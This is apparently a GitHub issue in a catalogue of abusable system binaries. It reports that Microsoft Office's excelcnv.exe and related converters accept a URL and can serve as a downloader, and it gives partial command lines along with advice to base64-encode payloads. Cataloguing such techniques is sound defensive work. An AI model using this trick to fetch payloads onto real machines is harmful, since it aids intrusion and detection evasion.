-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Open
Labels
Description
Source: https://twitter.com/Hexacorn/status/1396536863498907654
C:\Program Files*\Microsoft Office\root\Office*\excelcnv.exe accepts URL so you can use it as a downloader
excelcnv.exe -oice
caveat? your download will be saved as an XLSX and binary data will be stored encoded with UTF8 inside xl\sharedStrings.xml
Also from https://gist.github.com/AhnSeongHyun/3372088:
Word:
"C:\Program Files\Microsoft Office\Office12\wordconv.exe" -oice -nmeExcel:
"C:\Program Files\Microsoft Office\Office12\excelcnv.exe" -oicePowerPoint:
"C:\Program Files\Microsoft Office\Office12\ppcnvcom.exe" -oice예) PPCNVCOM.EXE -oice C:\b.ppt C:\b.pptx
Note that it appears to do preprocessing, so the payload may need to be base64 encoded to ensure it's not modified
recvfrom